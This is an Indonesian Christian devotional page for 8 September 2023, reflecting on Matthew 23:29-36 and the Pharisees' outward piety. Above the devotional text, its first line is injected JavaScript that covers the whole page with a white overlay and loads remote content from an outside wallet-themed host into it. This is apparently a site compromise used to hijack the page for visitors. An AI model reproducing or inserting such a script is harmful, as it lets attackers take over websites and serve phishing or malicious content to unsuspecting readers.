const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Jumat, 08 September 2023
Matius 23 : 29 – 36
Pengantar
Sebuah bangunan yang keropos akan menjadi rapuh dan rawan roboh. Demikian pula halnya dengan kekeroposan rohani, yang menjadi pokok perenungan kita hari ini. Karena itu melalui renungan hari ini, mari kita memeriksa hati kita sendiri agar terhindar dari kekeroposan rohani.
Pemahaman
ay. 29-31 : Mengapa Kristus mengecam orang Farisi dengan begitu keras?
ay. 32-36 : Apakah pengertian frasa “penuhilah juga takaran nenek moyangmu”?
Frasa “celakalah kamu” yang diucapkan Kristus terhadap ahli Taurat dan orang-orang Farisi dalam ayat 29 sebenarnya merupakan ucapan celaka yang terakhir, atau dapat dikatakan sebagai puncak. Sebelumnya Kristus juga mengucapkan “celakalah kamu” sebanyak tujuh kali, yaitu celakalah kamu karena menutup pintu Kerajaan Sorga (ay. 13), menelan rumah janda-janda (ay. 14), menjadi batu sandungan (ay. 15), menjadi pemimpin buta (ay. 16) memanipulasi persepuluhan (ay. 23) membersihkan bagian luar saja (ay. 25), dan seperti kuburan yang dilabur putih (ay. 27). Dan dalam ucapan celaka yang terakhir ini Kristus menyoroti kepalsuan kerohanian mereka.
Melalui ucapan celaka ini Kristus sedang membongkar kehidupan rohani orang Farisi yang keropos, tampak saleh secara lahiriah tetapi secara batiniah penuh kejahatan dan ketidaktaatan. Membangun makam para nabi sebenarnya merupakan tindakan untuk menghormati para nabi. Dengan membangun makam para nabi itu seakan mereka ingin menunjukkan bahwa mereka sangat menghormati para nabi, sekaligus menyesalkan tindakan leluhur mereka yang telah membunuh para nabi itu. Namun di sini Kristus
justru menegaskan bahwa di sisi lain tindakan tersebut juga berarti mereka sedang menegaskan bahwa mereka adalah keturunan leluhur yang jahat itu. Karena itu tidaklah heran kalau tindakan mereka terhadap Kristus juga penuh dengan kejahatan.
Ucapan yang keras ini bukanlah ucapan destruktif, karena pada dasarnya kedatangan Kristus ke dunia ini untuk mencari dan menyelamatkan yang terhilang. Karena itu pada dasarnya ucapan Kristus yang keras ini patut kita pahami sebagai seruan Allah yang memanggil umat-Nya agar membenahi kerohanian mereka yang keropos, tidak hanya memiliki penampilan yang baik di depan orang lain, tetapi hati juga harus benar-benar mengasihi Tuhan dan merindukan kebenaran-Nya.
Refleksi
Kekeroposan rohani dapat mengarah pada kehampaan rohani yang merusak jiwa kita. Oleh sebab itu kita perlu merenung dalam-dalam dan mengenali apakah ada area dalam hidup kita yang mungkin mencerminkan kekeroposan rohani. Jika kita menemukan tanda- tanda itu, marilah kita dengan rendah hati dan tulus bertobat kepada Tuhan. Allah senantiasa siap mengampuni dan memulihkan kita.
Tekadku
Doa: Bapa surgawi, tolong saya untuk mengenali area hidup saya yang mencerminkan kekeroposan rohani, amin.
Tindakanku
Saya akan hidup menurut kehendak Tuhan agar dapat menghindari kekeroposan rohani.